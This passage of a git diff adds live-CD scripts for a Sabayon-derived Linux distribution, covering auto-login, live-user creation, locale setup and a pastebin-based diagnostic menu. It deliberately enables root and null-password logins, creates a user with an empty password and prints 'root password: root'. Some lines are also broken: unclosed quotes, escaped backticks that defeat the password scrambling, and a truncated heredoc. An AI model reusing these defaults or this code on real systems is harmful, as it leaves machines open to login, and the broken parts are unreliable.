+ sed -i "s/^TimedLoginEnable=.*/TimedLoginEnable=true/" ${GDM_FILE} + sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" ${GDM_FILE} + sed -i "s/^TimedLoginDelay=.*/TimedLoginDelay=0/" ${GDM_FILE} + + elif [ -f "${CUSTOM_GDM_FILE}" ]; then + # FIXME: if this is called multiple times, it generates duplicated entries + sed -i "s:\[daemon\]:\[daemon\]\nAutomaticLoginEnable=true\nAutomaticLogin=${LIVE_USER}\nTimedLoginEnable=true\nTimedLogin=${LIVE_USER}\nTimedLoginDelay=0:" \ + "${CUSTOM_GDM_FILE}" + # change other entries there + sed -i "s/^TimedLogin=.*/TimedLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}" + sed -i "s/^AutomaticLogin=.*/AutomaticLogin=${LIVE_USER}/" "${CUSTOM_GDM_FILE}" + fi + + # KDM - KDE + if [ -f "$KDM_FILE" ]; then + sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=true/" $KDM_FILE + sed -i "s/AutoLoginUser=.*/AutoLoginUser=${LIVE_USER}/" $KDM_FILE + sed -i "s/AutoLoginDelay=.*/AutoLoginDelay=0/" $KDM_FILE + sed -i "s/AutoLoginAgain=.*/AutoLoginAgain=true/" $KDM_FILE + + sed -i "s/AllowRootLogin=.*/AllowRootLogin=true/" $KDM_FILE + sed -i "s/AllowNullPasswd=.*/AllowNullPasswd=true/" $KDM_FILE + sed -i "s/AllowShutdown=.*/AllowShutdown=All/" $KDM_FILE + + sed -i "/^#.*AutoLoginEnable=/ s/^#//" $KDM_FILE + sed -i "/^#.*AutoLoginUser=/ s/^#//" $KDM_FILE + sed -i "/^#.*AutoLoginDelay=/ s/^#//" $KDM_FILE + sed -i "/^#.*AutoLoginAgain=/ s/^#//" $KDM_FILE + + sed -i "/^#AllowRootLogin=/ s/^#//" $KDM_FILE + sed -i "/^#AllowNullPasswd=/ s/^#//" $KDM_FILE + sed -i "/^#AllowShutdown=/ s/^#//" $KDM_FILE + fi + + # LXDM + if [ -f "$LXDM_FILE" ]; then + sed -i "s/autologin=.*/autologin=${LIVE_USER}/" $LXDM_FILE + sed -i "/^#.*autologin=/ s/^#//" $LXDM_FILE + fi + + # Setup correct login session + sabayon_is_normal_boot && sabayon_fixup_gnome_autologin_session +} + +sabayon_disable_autologin() { + # GDM - GNOME + if [ -f "${GDM_FILE}" ]; then + sed -i "s/^AutomaticLoginEnable=.*/AutomaticLoginEnable=false/" ${GDM_FILE} + fi + + # KDM - KDE + KDM_FILE="/usr/share/config/kdm/kdmrc" + if [ -f "$KDM_FILE" ]; then + sed -i "s/AutoLoginEnable=.*/AutoLoginEnable=false/" $KDM_FILE + fi +} + +sabayon_setup_live_user() { + local live_user="${1}" + local live_uid="${2}" + if [ -z "${live_user}" ]; then + live_user="${LIVE_USER}" + fi + if [ -n "${live_uid}" ]; then + live_uid="-u ${live_uid}" + fi + id ${live_user} &> /dev/null + if [ "${?}" != "0" ]; then + local live_groups="" + local avail_groups=$(cat /etc/group | cut -d":" -f 1 | xargs echo) + for a_group in ${avail_groups}; do + for p_group in ${LIVE_USER_GROUPS}; do + if [ "${p_group}" = "${a_group}" ]; then + if [ -z "${live_groups}" ]; then + live_groups="${p_group}" + else + live_groups="${live_groups},${p_group}" + fi + fi + done + done + # then setup live user, that is missing + useradd -d "/home/${live_user}" -g root -G ${live_groups} -c "rogentosuser" \ + -m -N -p "" -s /bin/bash ${live_uid} "${live_user}" + return 0 + fi + return 1 +} + +sabayon_setup_motd() { + echo -e "\n\tWelcome to `cat /etc/rogentos-edition`\n\t`uname -p`\n\t`uname -o` `uname -r`\n" > /etc/motd +} + +sabayon_setup_vt_autologin() { + source /sbin/livecd-functions.sh + export CDBOOT=1 + livecd_fix_inittab +} + +sabayon_setup_oem_livecd() { + if [ -x "${OEM_LIVE_NEW}" ]; then + ${OEM_FILE_NEW} || return 1 + elif [ -x "${OEM_LIVE}" ]; then + ${OEM_FILE} || return 1 + fi + return 0 +} + +sabayon_is_live() { + local cmdl=$(cat /proc/cmdline | grep cdroot) + if [ -n "${cmdl}" ]; then + return 0 + else + return 1 + fi +} + +sabayon_setup_gui_installer() { + # Configure Fluxbox + local dmrc_file="/home/${LIVE_USER}/.dmrc" + local flux_dir="/home/${LIVE_USER}/.fluxbox" + local flux_startup_file="${flux_dir}/startup" + chown ${LIVE_USER} "${dmrc_file}" + chown ${LIVE_USER} "/home/${LIVE_USER}/.fluxbox + if [ ! -d "${flux_dir}" ]; then + mkdir "${flux_dir}" && chown "${LIVE_USER}" "${flux_dir}" + fi + echo "[Desktop]" > "${dmrc_file}" + echo "Session=fluxbox" >> "${dmrc_file}" + chown rogentosuser "${dmrc_file}" + sed -i "/installer --fullscreen/ s/^# //" "${flux_startup_file}" + if [ -x "/usr/libexec/gdm-set-default-session" ]; then + # oh my fucking glorious god, this + # is AccountsService bullshit + # cross fingers + /usr/libexec/gdm-set-default-session fluxbox + fi + if [ -x "/usr/libexec/gdm-set-session" ]; then + # GDM 3.6 support + /usr/libexec/gdm-set-session sabayonuser fluxbox + fi + chown ${LIVE_USER} "${dmrc_file}" + chown ${LIVE_USER} "/home/${LIVE_USER}/.fluxbox +} + +# This function reads /etc/skel/.dmrc and properly +# set the Session= value inside AccountsService. +# Blame the idiots who broke de-facto standards +# and created this fugly thing called AccountsService +sabayon_fixup_gnome_autologin_session() { + local cur_session= + + if [ -f "/etc/skel/.dmrc" ]; then + cur_session=$(cat /etc/skel/.dmrc | grep ^Session | cut -d"=" -f 2) + fi + if [ -z "${cur_session}" ]; then + return 0 + fi + + local sess_file="/usr/share/xsessions/${cur_session}.desktop" + if [ ! -f "${sess_file}" ]; then + return 0 + fi + + if [ -x "/usr/libexec/gdm-set-default-session" ]; then + # this edits /etc/gdm/custom.conf adding [daemon]\nDefaultSession=${cur_session} + /usr/libexec/gdm-set-default-session "${cur_session}" + fi + + if [ -x "/usr/libexec/gdm-set-session" ]; then + # GDM 3.6 support + local users_in_users=$(cat /etc/group | grep "^users" | awk -F':' '{ print $4 }' | sed "s:,: :g") + for usr in ${users_in_users}; do + /usr/libexec/gdm-set-session "${usr}" "${cur_session}" + done + fi +} + +sabayon_setup_text_installer() { + # switch to verbose mode + splash_manager -c set -t default -m v &> /dev/null + reset + chvt 1 + clear + echo "Welcome to Rogentos Linux Text installation." >> /etc/motd + echo "root password: root" >> /etc/motd + echo "to run the installation type: installer " >> /etc/motd +} + +sabayon_is_text_install() { + local _is_install=$(cat /proc/cmdline | grep installer-text) + if [ -n "${_is_install}" ]; then + return 0 + else + return 1 + fi +} + +sabayon_is_gui_install() { + local _is_install=$(cat /proc/cmdline | grep installer-gui) + if [ -n "${_is_install}" ]; then + return 0 + else + return 1 + fi +} + +sabayon_is_live_install() { + ( sabayon_is_text_install || sabayon_is_gui_install ) && return 0 + return 1 +} + +sabayon_is_mce() { + local _is_mce=$(cat /proc/cmdline | grep sabayonmce) + if [ -n "${_is_mce}" ]; then + return 0 + else + return 1 + fi +} + +sabayon_is_normal_boot() { + if ! sabayon_is_mce && ! sabayon_is_live_install; then + return 0 + else + return 1 + fi +} diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader new file mode 100755 index 00000000..0bb12f2b --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader @@ -0,0 +1,10 @@ +#!/bin/sh + +SABAYON_LOADER="/usr/bin/xdg-open" +SABAYON_URL=${SABAYON_URL:-http://www.sabayon.org?install_welcome=1} + +# load Sabayon URL +[[ -x "${SABAYON_LOADER}" ]] && ${SABAYON_LOADER} ${SABAYON_URL} & + +# remove myself from autostart +rm ~/.config/autostart/sabayon-welcome-loader.desktop -f diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop new file mode 100644 index 00000000..e5ea4b3d --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/rogentos-welcome-loader.desktop @@ -0,0 +1,7 @@ +[Desktop Entry] +Type=Application +Name=sabayon-loader +Exec=sabayon-welcome-loader +Icon=system-run +Comment=Sabayon Linux post-install Welcome Screen +Terminal=false diff --git a/app-misc/rogentoslive-tools/files/1.0/rogentoslive b/app-misc/rogentoslive-tools/files/1.0/rogentoslive new file mode 100755 index 00000000..4a65b73e --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/rogentoslive @@ -0,0 +1,218 @@ +#!/sbin/runscript +# Copyright 2004-2009 Fabio Erculiani +# Distributed under the terms of the GNU General Public License v2 + +. /sbin/rogentos-functions.sh + +depend() { + after x-setup + before hald + before xdm +} + +prepare_fluxbox_locked_autologin() { + + # change default wm to fluxbox + echo "[Desktop]" > /home/${LIVE_USER}/.dmrc + echo "Session=fluxbox" >> /home/${LIVE_USER}/.dmrc + chown ${LIVE_USER} /home/${LIVE_USER}/.dmrc + # Change passwords for security + echo root:\`pwgen -s 16\` | chpasswd > /dev/null 2>&1 + echo ${LIVE_USER}:\`pwgen -s 16\` | chpasswd > /dev/null 2>&1 + +} + +my_setup_desktop() { + + # create LIVE_USER if it does not exist + sabayon_setup_live_user "${LIVE_USER}" "1000" + if [ "${?}" = "1" ]; then + # if user is already available, then setup skel + # Copy ${LIVE_USER} directory + rm -rf /home/${LIVE_USER} + cp /etc/skel /home/${LIVE_USER} -Rp + chown ${LIVE_USER}:users /home/${LIVE_USER} -R + fi + + liveinst_desktop="/usr/share/applications/liveinst.desktop" + liveinst_desktop_name="$(basename ${liveinst_desktop})" + if [ -f "${liveinst_desktop}" ]; then + [[ -d "/home/${LIVE_USER}/Desktop" ]] || mkdir -p /home/${LIVE_USER}/Desktop + cp "${liveinst_desktop}" /home/${LIVE_USER}/Desktop + chown ${LIVE_USER}:users /home/${LIVE_USER}/Desktop -R + chmod +x /home/${LIVE_USER}/Desktop/${liveinst_desktop_name} + rm -f /etc/skel/Desktop/Anaconda*.desktop + rm -f /home/${LIVE_USER}/Desktop/Anaconda*.desktop + fi + + # Disable memory eating services + rm -f /etc/xdg/autostart/hplip-systray.desktop + rm -f /etc/xdg/autostart/beagle-search-autostart.desktop + rm -f /etc/xdg/autostart/tracker*.desktop + rm -f /etc/xdg/autostart/magneto.desktop + rm -f /etc/xdg/autostart/beagled-autostart.desktop + rm -f /usr/share/autostart/magneto.desktop + rm -f /usr/share/autostart/nepomukserver.desktop + + # Remove broken entries in /etc/mtab + sed -i '/.*newroot.*/d' /etc/mtab + + # Create /media for removable devices + if [ ! -d /media ]; then + mkdir /media + chmod 755 /media + fi + + # Add sudo to gparted exec= + gparted_file="/home/${LIVE_USER}/Desktop/gparted.desktop" + if [ -f "${gparted_file}" ]; then + sed -i 's/Exec=/Exec=sudo /' "${gparted_file}" + fi + + # create /overlay, this way df -h won't bitch + [[ -d "/overlay" ]] || mkdir /overlay + +} + +my_setup_password() { + + cmdline_autoscramble_exist=$(cat /proc/cmdline | grep autoscramble) + if [ -n "$cmdline_autoscramble_exist" ]; then + echo + echo -e "\E[33;36m * \E[0m\E[01;36m Autoscrambling root passwords for S E C U R I T Y" + echo root:\`pwgen -s 16\` | chpasswd > /dev/null 2>&1 + echo ${LIVE_USER}:\`pwgen -s 16\` | chpasswd > /dev/null 2>&1 + echo + fi + +} + +my_setup_keymap() { + + # Check if KEYMAP is forced by cmdline + cmdline_keymap_exist=$(cat /proc/cmdline | grep -i "KEYMAP=") + cmdline_keymap_isolinux_exist=$(cat /proc/cmdline | grep -i "console-setup/layoutcode=") + + if [ -n "$cmdline_keymap_isolinux_exist" ]; then + cmdline_keymap_exist="console-setup" + fi + + if [ -n "$cmdline_keymap_exist" ];then + + if [ "$cmdline_keymap_exist" == "console-setup" ]; then + # detect keymap + for word in `cat /proc/cmdline` ; do + case $word in + console-setup/layoutcode=*) + keymap_toset=$(echo $word | cut -d "=" -f 2) + ;; + console-setup/modelcode=*) + keymap_toset_model="-$(echo $word | cut -d "=" -f 2)" + ;; + esac + done + else + + # detect keymap + for word in `cat /proc/cmdline` ; do + case $word in + KEYMAP=*) + keymap_toset=$(echo $word | cut -d "=" -f 2) + ;; + keymap=*) + keymap_toset=$(echo $word | cut -d "=" -f 2) + ;; + esac + done + + fi + + if [ -n "$keymap_toset" ]; then + aggregated_keymap="${keymap_toset}${keymap_toset_model}" + /sbin/keyboard-setup-2 ${aggregated_keymap} all &> /dev/null + if [ "${?}" = "0" ]; then + /etc/init.d/keymaps restart --nodeps + fi + fi + + fi + +} + +my_wait_opengl_config() { + + echo -en "\E[33;36m * \E[0m \E[01;32m Waiting for Graphical Configurator to finish... \E[0m" + while [ -e "/etc/x-setup-configuration-running" ] + do + # waiting... + sleep 1 + done + echo -e "Done" + +} + +my_setup_locale() { + + cmdline_lang_exist=$(cat /proc/cmdline | grep -i "lang=") + cmdline_locale_exist=$(cat /proc/cmdline | grep -i "locale=") + + if [ -n "$cmdline_locale_exist" ]; then + cmdline_lang_exist="locale-setup" + fi + + if [ -n "$cmdline_lang_exist" ];then + + if [ "$cmdline_lang_exist" == "locale-setup" ]; then + # detect keymap + for word in `cat /proc/cmdline` ; do + case $word in + locale=*) + lang_toset=$(echo $word | cut -d "=" -f 2) + ;; + esac + done + else + for word in `cat /proc/cmdline` ; do + case $word in + LANG=*) + lang_toset=$(echo $word | cut -d "=" -f 2) + ;; + lang=*) + lang_toset=$(echo $word | cut -d "=" -f 2) + ;; + esac + done + fi + + # Setup Language + if [ -n "$lang_toset" ]; then + /sbin/language-setup $lang_toset &> /dev/null + fi + + fi + +} + +start() { + + # Perform configuration only in live mode + if ! sabayon_is_live; then + einfo "Skipping live mode configuration" + return 0 + fi + + my_setup_desktop + my_setup_password + my_setup_keymap + my_wait_opengl_config + # MOVED HERE TO AVOID RACE CONDITIONS ON WRITING /etc/profile.env variables + # Check if LANG is forced by cmdline + my_setup_locale + # setup autologin for all the supported Login managers + sabayon_setup_autologin + # override autostart stuff if required: + sabayon_setup_motd + sabayon_setup_vt_autologin + sabayon_setup_oem_livecd + +} diff --git a/app-misc/rogentoslive-tools/files/1.0/sabayon-live-check b/app-misc/rogentoslive-tools/files/1.0/sabayon-live-check new file mode 100644 index 00000000..4dc2e739 --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/sabayon-live-check @@ -0,0 +1,26 @@ +#!/bin/sh +# +# sabayon_livechk.sh +# +# Checks the integrity of a LiveCD/DVD by passing the +# contents of the image through a md5sum (to be compared +# with an documented value elsewhere). +# + +if ( ! isoinfo -d -i /dev/cdrom >>/dev/null 2>/dev/null ); then + echo "CDROM/DVD image not found!" + exit 1 +fi + +echo -e "Checking image integrity, please allow several minutes...\n" +echo "You can check for errors by running 'tail /var/log/messages'" +echo "in another console window. If you encounter multiple device" +echo "errors with you cdrom, this probably indicates the test is failing." +echo "You may type 'Ctrl-c' to abort the check." + +BLOCK_SIZE=`isoinfo -d -i /dev/cdrom | grep "Logical block size is" | cut -d: -f2 | sed 's/^[ ]//g'` +VOL_SIZE=`isoinfo -d -i /dev/cdrom | grep "Volume size is" | cut -d: -f2 | sed 's/^[ ]//g'` +dd if=/dev/cdrom bs=$BLOCK_SIZE count=$VOL_SIZE conv=notrunc,noerror | md5sum + +echo "Compare the above value with the value supplied in" +echo "the release notes for this version at:" diff --git a/app-misc/rogentoslive-tools/files/1.0/sabutil b/app-misc/rogentoslive-tools/files/1.0/sabutil new file mode 100755 index 00000000..680a6d1e --- /dev/null +++ b/app-misc/rogentoslive-tools/files/1.0/sabutil @@ -0,0 +1,667 @@ +#!/bin/bash + +# Initial version by wolfden. +# Later changes by Enlik . + +# last change: 9.03.2012 +# most important changes to last version: +# - abort if non root where needs root permissions +# - fix fdisk -l pasting +# - support for xorg.conf.d +# - reorder options and add rcupdate_pastebin + +USER=$(whoami) +HOMEDIR=${HOME:-/tmp} + +function menu +{ + local selection="" + until [[ "$selection" = "0" ]] ; do + echo "Current Operating System:" + cat /etc/sabayon-release + echo "" + echo "Current Edition:" + cat /etc/rogentos-edition + echo + echo "Pick a choice from menu below:" + + echo "" + echo "1 - Backup & edit xorg.conf and xorg.conf.d" + echo "2 - Restore xorg.conf and xorg.conf.d from backup" + echo "3 - Regenerate Sabayon xorg.conf" + echo "4 - Backup & edit grub.cfg" + echo "5 - Restore grub.cfg from backup" + echo "----------------------------------------" + echo "View and AutoPaste:" + echo " " + echo "01 - Pastebin Xorg configuration files" + echo "02 - Pastebin Xorg.0.log" + echo "03 - Pastebin ~/.xsession-errors" + echo "04 - Pastebin grub.cfg (bootmanager settings)" + echo "05 - Pastebin /var/log/dmesg" + echo "06 - Pastebin system and hardware info" + echo "07 - Pastebin fdisk -l (list the partition tables)" + echo "08 - Pastebin rc-update show (show enabled services and the runlevels)" + echo "09 - Pastebin rc.log" + echo "10 - Pastebin /var/log/messages" + echo "11 - Pastebin kdm.log" + echo "" + echo "0 - Exit" + echo "" + echo -n "Enter selection: " + read selection + echo "" + + case $selection in + 1 ) xorg_backup ; press_enter ; xorg_edit; press_enter ;; + 2 ) xorg_restore ; press_enter ;; + 3 ) xorg_regen ; press_enter ;; + 4 ) grub_backup ; press_enter ; nano -w /boot/grub/grub.cfg; press_enter ;; + 5 ) grub_restore ; press_enter ;; + 01 ) xorg_pastebin ; press_enter ;; + 02 ) xorg0log_pastebin ; press_enter ;; + 03 ) xsessionerrors_pastebin ; press_enter ;; + 04 ) grub_pastebin ; press_enter ;; + 05 ) dmesg_pastebin ; press_enter ;; + 06 ) system_pastebin ; press_enter ;; + 07 ) fdisk_pastebin ; press_enter ;; + 08 ) rcupdate_pastebin ; press_enter ;; + 09 ) rclog_pastebin ; press_enter ;; + 10 ) messages_pastebin ; press_enter ;; + 11 ) kdm_pastebin ; press_enter ;; + + 0 ) ;; + * ) echo "Please be sensible - choose a number that exists in the menu"; press_enter + esac + done + +} + +function press_enter +{ + echo "" + echo -n "Press Enter to continue" + read + clear +} + +function is_root +{ + if [[ $USER != "root" ]]; then + echo "You need to be root to do this." >&2 + return 1 + fi + return 0 +} + +function xorg_regen +{ + is_root || return + + if [[ ! -f "/etc/X11/xorg.conf.rogentos" ]]; then + cat > /etc/X11/xorg.conf.rogentos <=275.xx.xx drivers + #Option "UseEvents" "True" +EndSection + + +# ********************************************************************** +# Screen sections. +# ********************************************************************** + +Section "Screen" + +# The Identifier, Device and Monitor lines must be present + + Identifier "Screen 1" + Device "VESA" + Monitor "Generic Monitor" + #Option "AddARGBGLXVisuals" "true" + +# The favoured Depth and/or Bpp may be specified here + + DefaultDepth 24 + + SubSection "Display" + Depth 8 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 16 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + SubSection "Display" + Depth 24 + ViewPort 0 0 + #Modes "1024x768" "800x600" "640x480" + EndSubsection + + +EndSection + + +Section "ServerLayout" +# The Identifier line must be present + + Identifier "Main Layout" + Screen 0 "Screen 1" + InputDevice "Mouse1" "CorePointer" + #InputDevice "Synaptics1" "SendCoreEvents" + +EndSection + +Section "DRI" + Mode 0666 +EndSection + +Section "Extensions" + #Option "Composite" "Enable" +EndSection +EOF + fi + + mv -f /etc/X11/xorg.conf /etc/X11/xorg.conf.old + /usr/sbin/x-setup-configuration + + echo "Note: you may want to look to /etc/X11/xorg.conf.d (if it exists), too." +} + +function xorg_backup +{ + is_root || return + + if [[ -f /etc/X11/xorg.conf.BKUP ]]; then + echo "/etc/X11/xorg.conf.BKUP already exists, so new backup wasn't made - aborting." + echo "Now off we go to edit the file...." + return + elif [[ -e /etc/X11/xorg.conf.d.BKUP ]]; then + echo "/etc/X11/xorg.conf.d.BKUP backup already exists, so new backup wasn't made - aborting." + return + fi + + # Delete backup file. If there's no xorg.conf, no stale xorg.conf.BKUP will be kept. + # So xorg_restore will not made new (unexpected) xorg.conf from xorg.conf.BKUP. + rm -f /etc/X11/xorg.conf.BKUP + if [[ -f /etc/X11/xorg.conf ]]; then + echo "Making backup of xorg.conf as /etc/X11/xorg.conf.BKUP" + cp /etc/X11/xorg.conf /etc/X11/xorg.conf.BKUP + else + echo "There's no /etc/X11/xorg.conf so it couldn't be backed up." + fi + + if [[ -e /etc/X11/xorg.conf.d ]]; then + echo "Making backup of /etc/X11/xorg.conf.d/*" + if [[ ! -d /etc/X11/xorg.conf.d ]]; then + echo "!!!" + echo "/etc/X11/xorg.conf.d is not a directory!" + return + fi + mkdir -p /etc/X11/xorg.conf.d.BKUP + rm -f /etc/X11/xorg.conf.d.BKUP/* # dotfiles and subdirectories (who keeps them there?!) are left untouched + cp /etc/X11/xorg.conf.d/* /etc/X11/xorg.conf.d.BKUP/ # and not copied (that's fine) + echo "/etc/X11/xorg.conf.d/* files are backed up in /etc/X11/xorg.conf.d.BKUP/" + else + echo "There's no /etc/X11/xorg.conf.d (directory) so it couldn't be backed up." + fi + + echo "" + echo "INTEL graphics users please read the url below before proceding" + echo "" + echo "http://gentoo-wiki.com/HOWTO_Intel_Onboard_Graphics_Notebooks_Native_Resolution" +} + +function xorg_restore +{ + is_root || return + + echo "Are you sure? This will replace your /etc/X11/xorg.conf and /etc/X11/xorg.conf.d/*.conf." + echo "[Y/n]" + local reply + read reply + if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then + echo "OK, aborting." + return + fi + + if [[ -f /etc/X11/xorg.conf.BKUP ]]; then + echo "xorg.conf backup (/etc/X11/xorg.conf.BKUP) exists, whew!" + cp /etc/X11/xorg.conf.BKUP /etc/X11/xorg.conf + echo "" + echo "The original xorg.conf has been restored" + else + echo "UH OH!! The backup /etc/X11/xorg.conf.BKUP hasn't been made." + echo "If you think you need the file, don't panic, you can copy it from the Live DVD/CD." + fi + + echo "" + + if [[ -d /etc/X11/xorg.conf.d.BKUP ]] \ + && (shopt -s nullglob; f=(/etc/X11/xorg.conf.d.BKUP/*.conf); [[ ${#f[*]} -ne 0 ]] ) + then + echo "The backup /etc/X11/xorg.conf.d.BKUP (directory) exists and contails .conf files." + mkdir -p /etc/X11/xorg.conf.d + # similar notes as for xorg_backup, but files like .disabled are not removed + rm -f /etc/X11/xorg.conf.d/*.conf + cp /etc/X11/xorg.conf.d.BKUP/* /etc/X11/xorg.conf.d/ + echo "Your settings are now restored to /etc/X11/xorg.conf.d/." + fi +} + +function grub_backup +{ + is_root || return + + echo "Note: to modify GRUB configuration, you should edit /etc/default/grub" + echo " or a file in /etc/grub.d and then run grub-mkconfig -o /boot/grub/grub.cfg" + echo " (/boot/grub/grub.cfg shouldn't be edited by hand)." + echo "" + + if [[ -f /boot/grub/grub.cfg.BKUP ]]; then + echo "grub.cfg backup already exists, so the new one wasn't made." + echo "Now off we go to edit the file...." + else + echo "Making backup of grub.cfg as /boot/grub/grub.cfg.BKUP" + cp /boot/grub/grub.cfg /boot/grub/grub.cfg.BKUP + echo "" + fi +} + +function grub_restore +{ + is_root || return + + echo "Are you sure? This will replace your /boot/grub/grub.cfg." + echo "[Y/n]" + local reply + read reply + if [[ $reply != "" && $reply != "y" && $reply != "Y" ]]; then + echo "OK, aborting." + return + fi + + if [[ -f /boot/grub/grub.cfg.BKUP ]] + then + echo "grub.cfg backup (/boot/grub/grub.cfg.BKUP) exists, whew!" + cp /boot/grub/grub.cfg.BKUP /boot/grub/grub.cfg + echo "" + echo "The original grub.cfg has been restored" + else + echo "UH OH!! The backup script /boot/grub/grub.cfg.BKUP hasn't been made." + echo "Don't panic, you can use the Sabayon installer to repair GRUB." + fi +} + +function horner +{ + +# Quick system info gatherer written for Sabayon GNU/Linux +#(http://sabayonlinux.org) +# Copyright 2008 Richard Edward Horner +# Last modified 2008-11-26 +# Please send all comments, suggestions, bugs and patches to (rich AT +#richhorner DOT com) + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +HOSTNAME=`hostname` +RELEASE=`cat /etc/sabayon-release` +CPU=`uname -p` +KERNEL=`uname -r` +KERN_ARCH=`uname -m` +DISK=`df -lT --exclude-type=tmpfs --exclude-type=rootfs | awk 'BEGIN { total = 0; used = 0 } { if (NR > 1) { total += $3; used += $4 } } END { printf "%.1f/%.1fGB", used / 1000000, total / 1000000 }'` +MEMORY=`cat /proc/meminfo | awk '{ if ($1 == "MemTotal:") { memtot = $2/1000 } else if ($1 == "MemFree:") { memfree = $2/1000 } } END { printf "%d/%dM", memfree, memtot }'` +DAYS=`cat /proc/uptime | awk '{ printf "%.1f", $1/86400 }'` +PROCS=`ps aux | awk 'END { print NR - 2 }'` +RENDERER=`glxinfo | awk -F : '{ if ($1 == "OpenGL renderer string") print $2 }'` + +echo "Sysinfo for '$HOSTNAME': $RELEASE with $KERN_ARCH kernel $KERNEL +on $CPU, HD: $DISK, MEM: $MEMORY, Renderer: $RENDERER, $PROCS procs, +up $DAYS days" + +} + +# echo -e "\a[pastebunz debug ON]" >&2; +# function pastebunz { sed 's/^/[pb] '/ | less; } + +# pastebunz seems to have some limit on max pasted lines, so this would be handy... +function files_pastebin_linelimit +{ + # args: limit file_to_pastebin [file_to_pastebin] ... + # example: file_pastebin_linelimit 30 file1 "file name2" file3 + # first arg: 0 means no limit + # By Enlik + local TMPFILE=~/newbietmp + local LINESLIMIT + local LLIMIT_H + + if [[ $# -le 1 ]]; then + echo "Error: no files to paste (in files_pastebin_linelimit)." >&2 + return 2 + fi + + let LINESLIMIT=$1 + shift + # If there is a limit of lines, we need to make space for file name and blank + # lines to be pasted. Otherwise we have as much space as we want. + if [[ $LINESLIMIT -eq 0 ]]; then + LLIMIT_H="+1" + else + LLIMIT_H=$(( LINESLIMIT - 3 )) + fi + + >"$TMPFILE" || { + echo "Oh no! I can't create temporary file... Aborting." >&2 + return 3 + } + + for file in "$@"; do + echo " --- file: $file ---" + echo " " + if [[ -r $file ]]; then + # This tail guarantees that LAST file name is visible (unless the limit is really small, <= 2 lines) + # (previous one(s) can be wiped by tail due to limit of lines). + # The file name is always visible if there's only one specified + # as argument (unless the limit value is really small, as above). + # All file names are always visible if there's no limit + # of lines, or the limit is big enough. + cat "$file" 2>&1 | tail -n $LLIMIT_H + elif [[ -e $file ]]; then + echo "THIS FILE COULDN'T BE READ." + else + echo "THIS FILE DOESN'T EXIST." + fi + echo " " + done >> "$TMPFILE" + if [[ $LINESLIMIT -eq 0 ]]; then + cat "$TMPFILE" | pastebunz + else + tail -n $LINESLIMIT "$TMPFILE" | pastebunz + fi + echo "** Please see the link above! **" + + rm "$TMPFILE" + return 0 +} + +function files_pastebin +{ + files_pastebin_linelimit 0 "$@" +} + +function system_pastebin +{ + echo -n "Please wait, it is going to take a while..." + local PASTE_TMP=/tmp/sabutil-tmp + + >"$PASTE_TMP" || { + echo "Oh no! I can't create temporary file... Aborting." + return 1 + } + + echo " + sh /sbin/logscript.sh + " >> "$PASTE_TMP" + sh "/sbin/logscript.sh" >> "$PASTE_TMP" + + cat "$PASTE_TMP" + cat "$PASTE_TMP" | pastebunz + echo "*** Please see the link above. ***" + rm "$PASTE_TMP" +} + +function xorg0log_pastebin +{ + tail -n 150 /var/log/Xorg.0.log + files_pastebin_linelimit 150 /var/log/Xorg.0.log +} + +function xsessionerrors_pastebin +{ + cat "$HOMEDIR/.xsession-errors" | tail -n 10 + files_pastebin_linelimit 150 "$HOMEDIR/.xsession-errors" + if [[ $USER = "root" ]]; then + echo + echo "Notice: root's .xsession-errors file has been pasted." + echo "To get .xsession-errors from your regular account on which" + echo "you are logged using GDM, KDM or so (which is probably what you want)," + echo "run this script as that user, not root, or pastebin .xsession-errors" + echo "from YOUR home directory manually." + echo + fi +} + +function dmesg_pastebin +{ + cat /var/log/dmesg + files_pastebin_linelimit 150 /var/log/dmesg +} + +function grub_pastebin +{ + cat /boot/grub/grub.cfg + files_pastebin /boot/grub/grub.cfg +} + +function fdisk_pastebin +{ + is_root || return # fdisk -l + + local PASTE_TMP=/tmp/sabutil-tmp + + >"$PASTE_TMP" || { + echo "Oh no! I can't create temporary file... Aborting." + return 1 + } + + ( + echo " + fdisk -l + "; + fdisk -l; + ) > "$PASTE_TMP" + + cat "$PASTE_TMP" + cat "$PASTE_TMP" | pastebunz + echo "*** Please see the link above. ***" + rm "$PASTE_TMP" +} + +function messages_pastebin +{ + tail -n 150 /var/log/messages + files_pastebin_linelimit 150 /var/log/messages +} + +function kdm_pastebin +{ + cat /var/log/kdm.log + files_pastebin_linelimit 150 /var/log/kdm.log +} + +function rclog_pastebin +{ + if [[ -f /var/log/rc.log ]]; then + cat /var/log/rc.log | tail -n 10 + files_pastebin_linelimit 150 /var/log/rc.log + else + echo "You Don't Have rc.log enabled in your /etc/rc.log" + echo " To enable, edit /etc/rc.log change NO to YES for rc_logger= " + echo "" + fi +} + +function rcupdate_pastebin +{ + local PASTE_TMP=/tmp/sabutil-tmp + + >"$PASTE_TMP" || { + echo "Oh no! I can't create temporary file... Aborting." + return 1 + } + + ( + echo " + rc-update show + "; + rc-update show + ) > "$PASTE_TMP" + + cat "$PASTE_TMP" + cat "$PASTE_TMP" | pastebunz + echo "*** Please see the link above. ***" + rm "$PASTE_TMP" +} + +function xorg_pastebin +{ + echo "These files will be pasted (don't worry if any of them don't exist):" + ls -l /etc/X11/xorg.conf /etc/X11/xorg.conf.d/* + files_pastebin /etc/X11/xorg.conf.d/* 